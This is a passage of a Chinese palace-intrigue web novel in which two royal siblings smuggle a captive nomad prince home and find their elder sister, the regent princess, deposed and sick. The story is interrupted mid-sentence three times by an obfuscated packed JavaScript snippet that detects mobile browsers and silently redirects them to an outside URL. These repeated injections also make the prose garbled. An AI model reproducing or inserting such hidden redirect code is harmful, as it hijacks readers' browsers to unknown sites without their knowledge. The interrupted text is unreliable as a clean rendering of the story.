“小事。”傅容光笑道。 傅容光忙安排道:“二位殿下奔波辛苦,稍作休息,待我将通关文书取来,你们只管出关去,待入了我朝江州,想必定会有人接应。” “好。” 傅容光才转身走了一步,又想到些,忙转过身来:“若是此处有生意外,还请二位殿下挪步城里的丽锦布行,那里的老板与我有几分交情。” “好。” 送别傅容光后,刘昶与刘宁二人再次打开条窗缝,看向后院内的马车。 不多时,两只鹰在走马关上方盘旋,发出一声鹰啸。 “鹰啸?”丽锦布行内,杜丽锦与苏玛尔听到了这声鹰啸,“是呼廷王子的鹰吗?” 暂时在走马关内歇脚的塔塔娜尔也听到了这声鹰啸。 最善训鹰的草原三部远在别别山西边,与她们相隔恨远,再加上江朝与呼廷聊赞、布拉古等人之间正打仗,更不可能跨越别别山飞到走马关内。 眼下也就呼廷聊赞喜鹰,且离得最近。 只是,呼廷聊赞不在前线征战,来走马关做什么? 莫非……是知道了她与江朝公主的交易?也妄图来分一杯羹? 休想! 塔塔娜尔当即便来找傅容光,谁知傅容光竟不在住处。 不在?塔塔娜尔黑了脸,问道:“容相去了何处?” “丽锦布行。” “哦~”塔塔娜尔拉长尾音,“容相可真为本汗上心。” 塔塔娜尔理了下纹丝未动的发髻,道:“走吧,那本汗也亲自去看看。” 谁料塔塔娜尔才刚到丽锦商行,便看到傅容光从外迈入店中。 “容光?” 141. (一)班师回朝 听到有人唤自己,傅容光一抬眼,便看到塔塔娜尔正似笑非笑地看着她。 傅容光身体瞬间僵直,鼻尖冒出一层细密的汗珠。 “怎敢劳驾大汗费心?”傅容光笑着走向塔塔娜尔,不动声色地将通关文书贴着手腕藏在袖口,而后行礼。 塔塔娜尔扫了傅容光一眼,轻笑一声,走入布行。 身后的傅容光忙冲苏玛尔使眼色。 柜台里的苏玛尔见着塔塔娜尔与傅容光同时进店,忙放下手里的活计,带着店内人向塔塔娜尔行礼。 塔塔娜尔随手一挥,免了苏玛尔的行礼,随后坐在上宾位置。 行过礼后,苏玛尔忙命人奉上茶水,顺带差人去将杜丽锦喊来,正欲闭店歇业时,只听得塔塔娜尔懒懒道: “不必这般兴师动众,只管把我当成寻常客人即可。” 苏玛尔怯怯抬眼看去,与傅容光眼神交汇间,读懂了傅容光的意思,便道了声“是”,而后退至一旁,如平常般照旧打理店内布料。 店外熙熙攘攘,人声嘈杂,店内却是静得只能听到剪刀“啦擦擦”裁布理布的声音。 塔塔娜尔面无表情地盯着苏玛尔的一举一动,看久了,竟有几分的趣味。 傅容光就站在塔塔娜尔身后,连呼吸都无比谨慎小心。 不多时,杜丽娜风风火火地赶来,亲自奉上茶水,笑道:“大汗光临此地,真乃我布行之荣幸!” 塔塔娜尔接过茶,刮了下茶沫,脸上神色已有些松动:“听说又新到了批布料?” “连容相都亲自来看,本汗自然好奇。”说罢,扭头意味深长地看了傅容光一眼,而后又看向杜丽锦。 杜丽锦莞尔一笑,拍拍手,精心挑选的样布被呈上来。 塔塔娜尔粗粗扫了一眼,随便取了一片,在两指间随意捻了下,问道:“不错,是比之前的好些。” 杜丽锦笑道:“那当然了,这匹布料可是要穿在大汗身上的,怎敢不用心呢?” “容光,你来看看。” 傅容光应声,上前一步,仔仔细细看过杜丽锦呈上的样布,眉头微皱。 这些样布比今儿苏玛尔拿给她看的那匹还要差劲,这些当真是国内顶尖织娘所织造的锦缎吗? 傅容光狐疑地看了杜丽锦一眼。 “这些可是布行找了江朝最顶尖的织娘,日夜兼程赶出来的。”杜丽锦面色不改,挑眉笑道。 她知道瞒不过傅容光的眼睛,也并不打算瞒她。 “丽锦布行的布料,向来都是最好的。”借着转身的空当,傅容光本想将通关文书藏在样布下的,但余光瞥见塔塔娜尔正盯着她,手上动作一顿,并未选择冒险。 傅容光继续道:“只因丽锦老板最是爱惜名声,是切切实实诚信经营的。” 杜丽锦嘴角一抽搐,脸上依旧维持着笑意。傅容光言有所指,她当然听得出来。 塔塔娜尔的眼神在傅容光与杜丽锦身上扫视一圈,仅是笑笑,并未置一词。 “不知这样的布料布行预备下多少?”傅容光岔开话题,问道。 杜丽锦伸出手指,飞速在手指上点了几下,算出一个数,笑道:“容相尽管放心,足够卖到明年开春了。” 傅容光若有所思地点点头,旋即转向塔塔娜尔,道:“大汗,近来百姓多富裕起来了,部落内的女子又多爱美。就前不久才运来的一批料子,才刚摆上柜台便一售而空,很是抢手呢,不如再多预备一些?” 傅容光这话说到了塔塔娜尔心坎上。 如今呼廷聊赞他们正与大江打仗呢,布拉古暂代大单于之位,才下令让各个部落出兵筹钱援助呼廷聊赞呢。 虽说她与他们早已是各自为政,可到底是同为族人,也不好视而不见。 平白无故添了这么一项支出,她还正愁该从哪里挪一笔呢。 “允。” 话音刚落,只听到一声凄厉的鹰啸,紧接着街上一片哗然。 苏玛尔眼睛瞬间瞪大,手上拿着的剪刀也有些哆嗦。 塔塔娜尔警惕地看了眼外头,心中隐隐不安:“容光,早日启程吧。”说完,便出了布行。 “是。”傅容光与杜丽锦也相继跟上。 塔塔娜尔上了马车,掀起一侧的车帘,看似不经意问道:“听说呼廷聊赞也在此处?” 傅容光飞快眨了两下眼睛,道:“容臣查查。” “嗯。”塔塔娜尔放下帘子,声音听不出什么情绪,“容光,眼睛明亮些。” “是。”目送着塔塔娜尔离开后,傅容光轻叹一声,回头撞上杜丽锦的眼神,又环顾了下周围的来来往往的人群,抬脚踏入布行。 杜丽锦连忙跟上。 “丽锦,有件事,得麻烦你了。”说着,傅容光将贴在手腕内侧的通关文书取出,递给杜丽锦。 杜丽锦接过,笑道:“我做事,你放心。” 通关文书上还残留着傅容光的体温。 天空又是一声鹰啸。 傅容光与杜丽锦很是好奇,纷纷走出门,齐齐抬头朝着天上看去。 店内的苏玛尔颤抖着手,嘴里止不住地喃喃道:“是王子的鹰……是王子的鹰……” 只见天上的一只鹰正在急速坠落。 “可算是落了。”望着一头栽在雪地里的不再动弹的鹰,刘宁嘴角翘起。 在二楼客房内观望的刘昶,见天上的鹰被刘宁解决,默默关上了窗缝,也暗自松了口气。 “怎么了怎么了?”店小二闻声赶来。 听到背后传来动静,刘宁回头看去。 一阵风吹来,马车上插着的鲜艳旗帜顺势翻飞,在雪天雪地中尤为显眼。 待对上刘宁那冷冰冰的眼神,看到刘宁手上的弓箭,店小二不自觉吞咽了口唾沫,垂下眉眼,悄默声地退下。 刘宁默默收起弓,扫了眼摔得粉身碎骨的鹰,鹰脚上还套着个金属环。 刘宁认得这鹰脚环。 刘宁从怀里掏出把柄切羊肉的短刀,麻利地割断鹰脚,取下脚环,在手里转着看了一圈。 “这是什么?”刘昶走来,看到刘宁手里拿着个很像戒指的圆环,问道。 刘宁冲刘昶一笑,朝着马车的方向努努嘴,顺手便将金属环扔给刘昶。 刘昶举起金属环,对着阳光细看。只见脚环内外都刻着胡文。 这是呼廷聊赞的鹰。 刘昶脸色一凛,将金属环攥在手心,转身大步走向呼廷聊赞躺着的马车。 刘宁见状也忙跟上。 刘昶掀起车帘,只见呼廷聊赞正闭着眼,上半身依靠在车厢上,手臂、腿上绑着的绳子也都还在。 整个人看着很是虚弱。 听到动静,呼廷聊赞睁开眼睛,抬起眼皮,看到站在车外的刘昶、刘宁二人,冷笑一声:“这便是你们口中的好好招待?” 刘昶抱着歉意:“呼廷王子放心,不过是先委屈个一两日。” 刘昶话锋一转,冷冷道:“这几日内,还望王子安分守己,切勿节外生枝。” 刘昶身后刘宁的脸一闪而过,呼廷聊赞只觉得恶心,一眼也不愿多看,嫌恶地闭上了眼。 “滚远点!” 刘昶语气又恢复如常,对呼廷聊赞的恶语并未理会:“待入了我大江,必当好好招待,我刘昶,也必当登门致歉。”说罢,刘昶微微颔首,放下了车帘。 “二……二……二二二位客官,有人找。”店小二见识过刘宁的狠厉,并不敢靠近,只敢远远地站在廊下传话,并不敢靠近后院。 刘宁与刘昶对视一眼,眼底满是警戒。 店小二得了杜丽锦赏的一块银子,只当做什么也没看见,将人待到后便低着头走开了。 杜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274338|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽锦绕过店小二,笑得是满面春风,走近二人。 杜丽锦经商多年,看人很准,仅凭走过来的这几步路,便将二人身份猜出个大概。 “这是她让我交给你们的。”说着,杜丽锦笑着将通关文书递到二人面前。“马车也备下了,就在门口。” “多谢。”刘宁接过,打开看了眼,脸上挂上微笑,又递给刘昶。 临别前,杜丽锦叮嘱道:“这里不宜久留,还是早些出关吧,以免路上再遇到人。” “好。”刘宁应下。 刘昶将杜丽锦为他们准备的马车牵至后院,随后去另一架马车上去请呼廷聊赞。 呼廷聊赞自知当前脱身的希望渺茫,虽说还是全程拉着张脸,身体却是很配合地换了车。 刘宁不敢再放任呼廷聊赞一人待着,跟着也上了马车。 两人互相嫌恶地看了对方一眼,均是一言未发。 刘昶攥着缰绳,扬起鞭子。 鞭子落下,车轮驶动。 恰逢大江与北边塔塔娜尔的部落才新开了两道通商的口岸,凭着提前备好的通关文书,马车顺利跨过边境,抵达大江。 重新踏上大江土地的那一刻,刘宁如释重负,长长舒了口气。 刘昶亦是,可算是没有辱没大姐姐的使命。 早在边境等候多时的逍遥王刘赞得了消息,忙骑马迎了上去。 刘赞截停马车,下马挡在车前,捋着自己才蓄起来的胡须,打趣道:“哪儿来的行商?竟这般不懂边市的规矩?” 刘昶抬眼,见识刘赞,相视一笑,回头对着车内的刘宁说道:“阿宁,有人拦车。” 刘宁没好气掀开帘子。 刚才的话她听到了,边市的规矩?她倒要看看,是谁胆子这么大,竟敢敲她的竹杠! 待见着是刘赞,刘宁瞬间变了脸色,急不可待地跳下马车,三步并作两步,跑到刘赞面前,嘴角压都压不下去:“竟是你!” “盼星星盼月亮,可算是把你们给盼来了。”刘赞笑着叹了口气,笑着走向刘宁,一边走一边取下帽子,扒开头发,指着脑袋上滋滋冒出来的几根白发:“瞧!这段时间给我愁得,头发都白了一撮!” “有劳六弟挂心!”刘宁装作一副十分有礼的样子,拱手作揖道。 刘赞笑着翻了个白眼:“嘁!少来!” “少来?”刘宁挑眉,伸手拧住刘赞的耳朵,将刘赞的脑袋拉了过来,笑道:“几日不见,胆子大了不少嘛?敢这么跟五姐说话!” “痛痛痛!”刘赞龇牙咧嘴,低声求道:“好歹我也是个王,街上这么多人看着呢,多少给我留点儿面子!” 刘宁松开了手,无暇再与刘赞嬉闹,催促道:“快,给我准备间房,我要痛痛快快地好好睡上一觉!” 刘赞趁机一溜烟跑到刘昶身后,探着脑袋,贱兮兮道:“那你求我啊!” “你!”刘宁冲着刘赞扬了扬拳头。 刘赞顺势躲在刘昶背后。 刘昶则是笑着看着玩闹的五姐和六哥。 “这里面装了什么宝贝啊?怎么封得这么严实?”刘赞的目光转向密封严实的马车,好奇的掀开帘子。 待与呼廷聊赞对上眼,刘赞浑身一颤,只觉一阵寒。 刘昶扶住刘赞的肩膀,凑到刘赞耳边,低声道:“这是呼廷聊赞。” “是吗?”刘赞好奇地又掀起帘子看了眼,很快又放下,与刘昶低声交流道:“成了?” 刘昶眨眨眼:“成了。” 刘赞会心一笑:“你这儿成了,我这儿也快了。” 正说着,刘赞的手下匆匆来报: “塔塔娜尔一行人已入境。” 刘赞与刘昶相视一眼,异口同声道:“成了。” 刘宁摸不着头脑,打了个哈欠,走过来问道:“什么成了?你们说什么呢?” 142. (二)物是人非 塔塔娜尔秘密来大江,刘赞早向京城传了密信。 只是塔塔娜尔与呼廷聊赞不可相遇,故而刘赞与刘宁、刘昶分头行动。 刘赞催促二人:“快些赶路!” “如今京里的局势……”刘赞一时不知从何说起,叹了口气,“金中堂被逼着调出京,温姐姐休沐在家,诚王也要携家眷入京……” 又是一声叹息:“反正你们到了便知道了。” 刘昶心中已有数。 赶路要紧,为呼廷聊赞治伤也要紧。 若是害得呼廷聊赞伤了一条胳膊,只怕会影响和谈。 既已入了大江,踏入他们的地盘,倒也不担心呼廷聊赞会逃,便给呼廷聊赞松了绑,还特地寻来名医为呼廷聊赞治伤。 见着呼廷聊赞的伤口,名医大呼一声:“哎呦!若是再晚一些,只怕这条胳膊都废了!” 呼廷聊赞听了,只恨不得能生吞活剥了刘宁、刘昶两个。 刘昶讪讪笑着,只希望能快些抵达京城,快些见到大姐姐。 一行人未过多停留,当即便驾车,驶离彰州,直奔京城。 谁知不过才几日的光景,江朝风向早已大变样。 途径几地,街头巷尾的百姓们都在说,当朝的大长公主刘安,牝鸡司晨,误国误政!当今陛下,无才无谋,不能堪当大任! “哼。”刘昶听过这些传言后,只恨不得亲自下场将说出这些话的人的嘴都给撕烂。 刘宁却觉得,这些人说得不无道理。 若是她哥哥还在,若是她哥哥做了皇帝,大江只会比现在更强盛。 只是…… “大姐姐当政不行,八弟为君也不行,那谁能行呢?”刘宁指间把玩着那只鹰脚环,嗤笑一声,“难不成是诚王?” 刘昶眸色一暗:“诚王?” 刘宁的想法不无道理。 北征失利,诚王又即将奉旨入京,紧接着京城便传出这些流言蜚语,直指大姐姐刘安与皇帝刘绥。 大姐姐与皇帝两人名誉受损,受益者除了诚王还会有谁? 这之中又怎会少了诚王的手笔呢? 再者,他前几日的失踪,也着实蹊跷的很。 “可由不得他。”刘昶道。 刘宁不置可否,一副等着看戏的样子。当初父皇在时,都没能料理诚王,如今,她倒想看看大姐姐的手段。 只是令两人都没想到的是,大姐姐刘安的处境,远比刘赞说的,还要糟糕。 他们本想先将呼廷聊赞安顿在大姐姐的公主府,若是大姐姐召见,只消出宫回到自己府上便可,不会引人注意。 却不想公主府早已不复往日。 廊下结了一层蛛网,柱子上的红漆斑驳脱落,沿路的积雪无人清扫,就连院中那几株本应开花的红梅,也被白雪压弯了腰。 “公主府的这些仆从,真是被大姐姐惯坏了。”刘宁走到红梅前,抬指轻轻一弹,红梅上的白雪纷纷落下,枝子又重新抖擞起来,“虽说大姐姐平日里不在公主府常住,可他们也不该如此懈怠。” “来人!” “来人啊!” 刘宁连着喊了两三声,无一人应答。 刘昶盯着周围坐落地房屋、廊檐,原地转了一圈,喊了一声:“人呢?” 不多时,钱衡量哆哆嗦嗦的从一侧的角门探出个脑袋,认出了刘昶,忙回头去报信。 人还没跑出两步,一柄亮闪闪的小刀扎到他面前的柱子上。 一缕发丝落在白雪地上。 若是这刀再偏上几寸,他便会如地上的发丝一般。 钱衡量两腿颤颤,气都不敢大声喘, 刘昶、刘宁两人大步流星走来。 刘宁取下扎在柱子里的小刀,在肘窝处的衣服上擦了一下,接着又扫了钱衡量一眼,漫不经心笑道:“跑什么啊?” “见着本宫与定北王,怎的连礼数都忘了?”刘宁收起脸上的笑,渐渐冷脸:“大姐姐平日便是这般教导你们的吗?” 钱衡量惊魂未定,吞咽了下喉咙。 “我记得你。”刘昶看了刘宁一眼,上前一步,挡在钱衡量身前:“你先前不是在大姐姐身边侍奉吗?” 钱衡量胆战心惊回道:“是。如今也还是在大长公主殿下身边侍奉。” 刘昶察觉到些异样:“大姐姐呢?” 钱衡量说出了刘昶心中所想:“如今大长公主殿下便在公主府内。” 刘宁惊诧,下意识地扭头看了刘昶一眼,问道:“大姐姐不住在福康宫吗?怎么有闲心来公主府小住?” 钱衡量支吾两声,有些犹豫。 刘昶看出他的为难,道:“有话只说,有什么不能讲的,本王担着。” “自打定北王殿下失踪后不久,朝臣逼宫,先前殿下还能应付,可……”钱衡量叹了口气,摇摇头:“可没过多久,朝臣们再次聚在殿下的福康宫外,一个个以死相逼,逼着殿下交出了国玺,逼着殿下搬离福康宫。” “什么?”刘昶眉头压低,不可置信,“他们怎么敢的?” “大姐姐可是父皇钦定的抚政公主!他们怎敢!” 仅一瞬,钱衡量便有了主意,故作无奈,又向刘昶诉了好多苦:“不单让殿下搬出福康宫,还以北征战事吃紧、国库空虚为由,裁撤了公主府的一大批仆从,克扣殿下的俸禄。” “定北王殿下也是知道的,自入秋以来,我们殿下的身子并不好,积年累月的劳累,早已将殿下的身体拖垮了,今年冬天又来得格外早,格外的冷。” “先前在福康宫时,殿下宫里的炭火是烧得最旺的,可……”钱衡量说得情真意切,眼泪涟涟,“可如今到了公主府,吃穿用度皆被减半不说,就连冬日的炭火也少了大半……” 说完,钱衡量便呜咽地哭了起来。 “我知道了。”刘昶眼底早已换了抹颜色,“带我去见大姐姐。” 正如钱衡量所言,公主府主屋内烧的炭火,比福康宫少了许多。 围着炭火烤手的莲亭、莲房两个听到门口的动静,见着钱衡量将门口的帘子高高掀起,急道:“钱衡量你作死啊!屋里好容易聚起来的热气,被你这么一掀,全跑了!” “傻愣愣站着干什么?还不快放下帘子!” “冻死了冻死了!” 两人话音刚落,只见刘昶、刘宁二人接连从外头进来。 钱衡量这才放下帘子。 莲亭、莲房两人的话,刘昶、刘宁都听得清楚,刘宁扭头,仔细检查帘子是否掖得整齐,以确保寒气没从外头带进来。 莲亭、莲房两人愣了片刻,怔怔起身,两人皆是揉了揉眼睛,紧紧盯着刘昶、刘宁两人,眼都不敢眨一下。 “好利的两张嘴!”刘宁轻笑一声。 莲亭、莲房两人哽咽一声:“两位殿下!” 真的是定北王与宁乐公主! 刘昶走到炭火边,一边烘烤着身上的寒气,一边问道:“大姐姐呢?” “殿下就在里屋呢,我这就去通传一声。”莲房擦了把脸上的眼泪,忙不迭转身。因太过激动,脚下还滑了一下。 刘宁关切了一声:“小心!” 莲房稳住身形,进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274339|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里屋。 莲亭一会儿看看刘昶,一会儿看看刘宁,还暗暗掐了一下又一下手背上的皮肉,直到手背上显出一块又一块的红,直到有些冻僵的手背上传来痛感。 眼里蓄的泪水早已憋不住,莲亭“哇”的一声抱着刘昶哭出来:“殿下——” “你可回来了……呜呜呜……”莲亭的两条胳膊圈在刘昶腰间,越哭勒得越用力。 刘昶顿时有些手足无措,张开着双臂,落也不是抬也不是,略显局促地向刘宁求救一眼,无奈,轻轻拍了拍莲亭的肩膀,柔声安抚道:“好了,我这不是回来了吗?” 刘宁忍着笑,上前一步,很是自然地拍了拍莲亭的脑袋,安慰道:“好了好了,不哭了。如今天冷,再哭下去,只怕脸要冻坏了。” 莲亭闻言,松开了手,又见着刘宁笑着站在她面前,又一头扎进刘宁怀里,紧紧抱住刘宁,才刚忍住的哭腔又卷土重来:“殿下——呜呜呜——” 刘宁笑道:“我与七弟不是都已经平平安安的回来了吗?” “殿下你都不知道,这些天我们殿下受了多少委屈……呜呜呜……呜呜……” “他们把我们赶出宫,还不给我们炭火用!” ”我们殿下整日咳嗽,每一次咳都会咳出血。“ 如竹筒倒豆子一般,莲亭将刘安今日所受的委屈一一说出来。 刘昶在一旁听得早已是怒火中烧,恨不得现在就冲到皇宫,冲到那些个逼着大姐姐迁宫的大臣家里…… “还有殿下看,我手上都冻裂了,好疼呢!莲房姐姐手上也生了冻疮呢!” 刘宁握住莲亭的手,见她手背上还生了处冻疮,伤口周围还一阵接一阵的红,结的痂也产生了裂口,鲜红的血肉也裸露在空气中,不免一阵心疼。 “不哭了不哭了,有我在呢,有我与我七弟在呢!往后必不会再让你们受委屈了!” 莲亭年纪小得多,比刘宁小上六岁,比刘昶还小上两岁。 早前他们几人在大姐姐的福康宫里玩儿时,大姐姐身边的莲音、莲房两位姐姐端庄守规矩,一举一动皆不逾矩。 他们最喜欢的就是拉着莲亭和他们一块玩儿了,也最喜欢逗莲亭玩儿。 小丫头傻乎乎的,说什么都会当真,还会傻傻的扬起脑袋问“真的吗?真的吗?”。 小丫头脾气爆、性子倔,得知自己被骗了,嘴巴一噘,就喜欢坐在台阶上生闷气,像个白白净净的小团子,谁叫也不理。 不过莲亭也很好哄,脾气来的快去的也快,一块甜甜的方糖,便能让她喜笑颜开。 刘宁也回抱住莲亭,摸了摸莲亭的头发,低头凑到莲亭耳边,悄咪咪哄道:“我这次从边关回来,还特地给你带了件好东西。” 莲亭扬起哭肿的眼睛,天真无邪道:“真的吗?” 见着刘宁郑重其事地点点头,转眼间,莲亭嘴角便咧起来,抱着刘宁又添了几分力道,脑袋还在刘宁胸前蹭了两下:“我就知道,殿下对我最好了。” “谁让你从小就是个小哭包呢!”刘宁亲昵地在莲亭的鼻头刮了一下,就像小时候大姐姐常哄她一样。 “喏,收好。”刘宁掏出那枚被她摩挲的有些发亮的鹰脚环,递到莲亭眼前,接着又用仅两人能听到的声音,神秘兮兮道:“这是呼廷聊赞的鹰,被我射了下来,整个大江,仅此一件。你可千万放好,别被人瞧见了。” 莲亭点点头,兴高采烈地接下。 莲音、莲房二人从里屋出来。莲音擦了下挂在下巴处的泪珠,深吸一口气,忍住了喉咙间的哽咽:“二位殿下,我们殿下有请。” 143. 强势回宫(三)重振旗鼓 众人脸上都带着笑,即便是眼里含着泪,也都是笑着的。 钱衡量慢慢挪到炭火盆旁,笑着同莲亭低语道:“你看,我算的准吧,我算出二位殿下会平安回来的。” 自打从宫里迁出,钱衡量时不时便卜卦掐算,用尽毕生所学,只为算出刘昶、刘宁二人的命数。 只可惜,因祖父钱易知曾为颖州蔡氏一族测算命数时说话不中听了些,钱氏一族便被流放。 他侥幸逃过一劫,父亲却在临死前下令,往后只许他观天象,禁止再为人测算命数。 他在父亲坟前立了誓焚了书,从今往后他只学天象,故而卜卦算命的本事只学了个皮毛。 不过即便是些皮毛,也算出刘昶、刘宁二人绝不会被埋在北境的风雪之中。 莲亭眨眨眼,笑道:“有点本事。不过——” 莲亭话锋一转,调侃道:“那你先前怎么说你只会观天象而从不测算他人的命数呢?” “哎呀呀呀!”钱衡量连连摇头,“这事儿休要再提。” 虽说早立了誓,可前不久他都快活不下去了。 他所倚仗的大长公主失势,若要破局,便唯有定北王刘昶还活着。 守信重诺、投桃报李,这些都是父亲曾教给他的,二殿下慧眼识珠,他得还报二殿下,他得为二殿下留下自己的一条命。 父亲教诲他谨记于心,凡事事不过三,到如今,他也就只为人算过三次。 若是父亲在天上看着,想来也会明白他处境艰难,也会原谅他的。 刘昶吸了吸鼻子,迎着莲音、莲房二人的眼神,向前走上几步,却不见身后的刘宁跟来,刘昶回头,看向刘宁。 “阿宁?” 刘宁却是后退半步,与刘昶拉开距离,与莲音、莲房拉开距离,与里屋的刘安默默拉远距离。 “我们在路上不是说好了吗?”刘昶伸出一只手:“五姐,大姐姐一直在等我们呢,我们一起去见她吧。” 刘宁有些动容,眼睛看向刘昶的手,停顿一瞬,却是冷笑一声,后撤一步,转身跑了出去。 “阿宁!” 刘昶上前一大步,手抓了个空。 他本想追出去,可大姐姐还在等着他,呼廷聊赞的事儿还没解决。 再说,五姐认死理儿,心中自有一套理论,他也奈何不了他这个五姐。 刘昶抿了抿嘴唇,捏了下拳头,叹气一声。 莲音眨眨眼,冲着莲亭使了个眼色。 钱衡量注意到,用胳膊肘碰了碰莲亭,莲亭恍然抬头,收到莲音示意后,追着刘宁跑了出去。 莲音走到刘昶近前,安抚道:“殿下,我们殿下在里面等着呢,宁乐殿下这边,我们会多派些人手跟着的。” 刘昶深吸一口气,无奈道:“五姐那边就不劳大姐姐费心了,莲音姐姐,你也别管了。” “等她想明白就好。” 刘昶望着被厚厚门帘遮住的门口站定片刻,当即转身,大步流星,去见刘安。 里屋的药味儿浓烈,刘安床头还摆着几个才用过的空碗。 里屋的炭火也烧得很旺,可刘安却穿得尤为厚实,就连在室外才穿的大氅,刘安现在也裹在身上,裹得很紧。 刘昶以为自己可以忍得住泪,忍得住哭,可见到大姐姐如今的样子,他又哪里忍得住? 数月未见,大姐姐刘安,却不想憔悴虚弱了许多,往日的风采竟全都不见了。 那个意气风发的大姐姐呢? “不负大姐姐所托,我回来了!” “昶儿!”见刘昶来了,刘安将手里的汤药放到一旁,用手帕擦了下嘴角,又顺带拭了下眼角溢出的泪花,抬手笑着招呼:“来,昶儿,到姐姐这儿来。” “让姐姐看看你。” 刘昶喉咙哽咽,三步并作两步,扑到刘安床头,一头扎进刘安怀里,强压着心头的情绪,抽噎两声。 “一别多日,昶儿看着消瘦不少。”刘安抬手,轻轻抚摸着刘昶脑袋上有些凌乱的发丝,为刘昶理顺,颇为感慨笑道:“姐姐就知道,昶儿福泽深厚,一定会没事的。” “嗯。”刘昶脑袋埋在刘安怀里,肩膀抽搐一下,闷闷地回应一声,他不敢抬头,不敢抬头让大姐姐看到他的眼泪。 “姐姐就是知道,昶儿一定会没事的。”刘安吸了吸鼻子,将眼泪又憋了回去,下巴抵着刘昶的发髻,自顾自道:“姐姐还记得你刚出生时,正赶上京城疫病平息,父皇特地为你取了‘戡’字为名。” “可谁知照顾你的乳母不慎染上疫病,容娘娘食不安寝,没日没夜地照顾你,求遍满天神佛庇佑你,甚至求着父皇为你改名。” “父皇连着占卜了好几回,最后为你择了一‘昶’字,自那以后,你便再也没生过病。” “姐姐还记得有次,你与小五、小六三个顽皮,从城墙上翻过去,那城墙足足有五人高呢,把你腿都给摔断了,嘴里吐得全是血,可没出两三个月,你就活蹦乱跳的,像什么事儿也没发生过一样。”说起刘昶小时候顽皮的样子,刘安与刘昶两个人都“噗嗤”笑出了声。 刘昶抬起头,笑道:“小时候顽皮,哪里知道痛是什么感觉。若是没有母妃与大姐姐的悉心照料,只怕我也活不到今日。” 刘安盖住刘昶的嘴,赶忙道:“我们昶儿福泽深厚。” 刘昶笑着点点头。 刘安又看了眼门口,眼底闪过丝落寞:“刚刚我还听到了阿宁的声音,怎么这会儿也不见她进来?” “五姐她……”刘昶语塞,支吾一声,有些为难地扯谎:“五姐她等下再来拜见姐姐。” “姐姐还不知道呢,这次若不是五姐冒着满天的风雪,不顾危险地去寻我,我只怕……只怕还站不到姐姐面前呢!” “大姐姐,自从四哥四嫂、贵妃娘娘、还有父皇相继离世后,五姐便日夜痛哭流涕,整日的萎靡不振。我知道,她心里苦。她一直避着人,这么久未曾来见大姐姐,并非是单纯对大姐姐不敬……”刘昶说得真切。 刘安笑着为刘昶理了下鬓角,道:“你们几个是我从小看着长大的,惟愿你们好,我才安心。阿宁如今这样,也痛在我心,我又怎么会去计较这些枝叶末节呢?” “我们是姊妹,是手足至亲,我们身上留着的都是父皇的血脉,理当无所嫌隙。” “既然她心里别扭,那便由着她去吧,总有一天,她会想明白的。这些天还要你多照顾她,别让她吃了亏、受了委屈。” 刘昶点点头,还想再说些什么,但见刘安神色已染上了些疲态,怕再多说些惹得大姐姐劳累,赶忙提及正事:“大姐姐,我与五姐将那呼廷聊赞带了来,现下就在京城中,接下来姐姐预备如何?” 刘安捻了下手指,长叹一声,如今这样的状况,即便是她有心而无力啊。 她原以为,在八弟刘绥及冠前,她可以不负父皇所托,将这万里江山交付在弟弟手上。 只是不想……竟被刘绥联合群臣夺了权、赶出了宫。 一腔心血全都付诸东流! 如今的她,还能做些什么呢? 刘安苦笑一声,无可奈何道:“那便……好好招待他吧,过后……” 刘安语顿,眸色一转。 不,她不甘心!她还是不甘心! 栾南诚王未除,彰州十城未复,陌南海寇未清,朝中积弊尚在,乃至来年六月,还有一场女科在等着她主持,全天下女子的前程皆系在她手上。她不能退! 她辛苦谋划多年,她不甘心便这样放手!只消再往前进一步! 一步就好! 想明白,刘安抬手,用力按在刘昶肩上,眼睛对上刘昶略带着些疑惑的眼睛,无比坚定道:“带他来见我。” 刘昶问道:“姐姐打算什么时候见他?” 刘安合上眼,揉着眉心,道:“现在。” “姐姐现在可是累了?不如再让他等上一日。”刘昶见刘安神色不好,才说了这么些会儿的话,便已有倦怠之色,便顺势坐到床边,关切道。 刘安摇摇头,睁开眼睛,定定地看着刘昶,脸上浮出抹胜券在握的笑:“昶儿,你要知道,机不可失。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274340|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是。”刘昶点点头,道理他都懂,只是……只是见大姐姐如今虚弱的样子,她还要亲自接见呼廷聊赞,只会累垮身体,他不愿她再劳累。 对于大姐姐的话,他无条件听从。 反正,大姐姐做的任何事,都是为了他们好,都是为了大江好,大姐姐是不会害他们的。 无论大姐姐说什么、安排他做什么事,他照做便是。 “我这就带呼廷聊赞来见姐姐。” 